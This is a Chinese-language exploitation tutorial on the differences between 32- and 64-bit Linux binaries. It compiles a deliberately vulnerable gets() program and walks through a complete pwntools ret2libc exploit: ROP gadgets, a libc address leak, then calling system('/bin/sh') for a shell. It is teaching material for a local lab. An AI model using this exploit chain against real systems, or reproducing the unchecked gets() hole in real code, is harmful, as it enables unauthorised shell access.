0x01 64位與32位的區別
在此篇文章之前,一直都討論的是32位的情況,不過現在已經2020年了,64位程序逐漸成爲主流。所以研究64位的程序也是非常必要的
開始之前,我要先理清一個知識點:x86指的是cpu的架構,x64是cpu位數,我們通常用的x64的全稱叫x86-64,也就是說x64是x86架構的64位cpu。而之所以用x86代表32位系統,是因爲32位cpu佔據了很長一段時間,所以習慣性的用x86代表32位cpu,是一種通俗用法罷了,是不嚴謹甚至有誤的。
區別:
1.首先是內存地址的範圍由32位變成了64位,x64可以使用的內存地址不能大於0x00007fffffffffff,否則會拋出異常。
2.函數參數的傳遞方式:x86中參數都是保存在棧上,因爲64位程序有了更多的通用寄存器, 所以通常會使用寄存器來進行函數參數傳遞而不是通過棧, 來獲得更高的運行速度。在x64中的前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話纔會保存在棧上。
64位彙編
當參數少於7個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
當參數爲7個以上時, 前 6 個與前面一樣, 但後面的依次從 “右向左” 放入棧中,即和32位彙編一樣。
0x02 一個示例
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
char buf2[10] = "this is buf2";
void vul()
{
char buf1[10];
gets(buf1);
}
void main()
{
write(1,"sinxx",5);
vul();
}
編譯(沒有-m32,就是編譯成64位的):
gcc -no-pie -fno-stack-protector -o 10.exe 10.c
可以checksec 10.exe看看,的確編譯成了64位的
接下來開始查看溢出點
cyclic 100
cyclic -l aafa
這裏和32位主要的一個區別是 如何確定這裏的aafa,可以看ret後面的地址前四位,由於小端序,反轉過來後對應的就是aafa,可是這樣看起來比較麻煩,如圖我們可以取棧頂的前四位。
接下來我們就要開始寫exp
我們還是要先找到gets的真實地址,然後利用相對偏移找到system和“\bin\sh”的地址
我們之前提到x86中參數都是保存在棧上,但在x64中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器裏
如果還有更多的參數的話纔會保存在棧上,所以我們需要尋找一些類似於pop rdi; ret的這種gadget
如果是簡單的gadgets,我們可以通過objdump來查找
但當我們打算尋找一些複雜的gadgets的時候,還是藉助於ROPgadgets來查找寄存器
ROPgadget --binary 10.exe --only "pop|ret"
0x00000000004011db : pop rdi ; ret
0x00000000004011d9 : pop rsi ; pop r15 ; ret
1.發現沒有rdx的,不過也沒關係,write函數前面兩個是關鍵
2.找到pop rsi;pop r15;ret 我們構造payload時,需要兩個值壓棧。
from pwn import *
#context(arch="amd64",os="linux",log_level="debug")
p=process("./10.exe")
e=ELF("./10.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]
addr_rdi=0x4011db
addr_rsi=0x4011d9
offset=18
#print pidof(p)
pause()
payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
p.sendlineafter("sinxx",payload1)
gets_real_addr=u64(p.recv(8))
#gets_real_addr=u64(p.recv()[:8])
#print hex(gets_real_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()
payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload2)
p.interactive()
對exp的理解:
payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
x64中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器裏,所以write函數的參數分別放在了rdi,rsi,rdx寄存器裏面,
然後使用pop xxx ;ret 使rdi寄存器裏的值爲1,使rsi寄存器裏的值爲gets的真實地址,r15寄存的值是1(這不是重點),這裏rdi的值沒有限制,不過也不影響
然後是call write函數,先將vul函數的地址壓棧,然後再去執行write函數,執行完後就可以再次利用vul裏面的gets函數溢出,執行payload2。
payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
這個先讓/bin/sh的地址到rdi寄存器裏裏面,system函數調用會需要一個參數,也就是這個rdi,所以payload2就是調用system“/bin/sh”
運行:
我這個運行起來有個很尷尬的場景,可以getshell不過中間出現了好多/x00
0x03 參考文章
https://www.cnblogs.com/wintrysec/p/10493583.html
http://blog.sina.com.cn/s/blog_6053551a0102x5my.html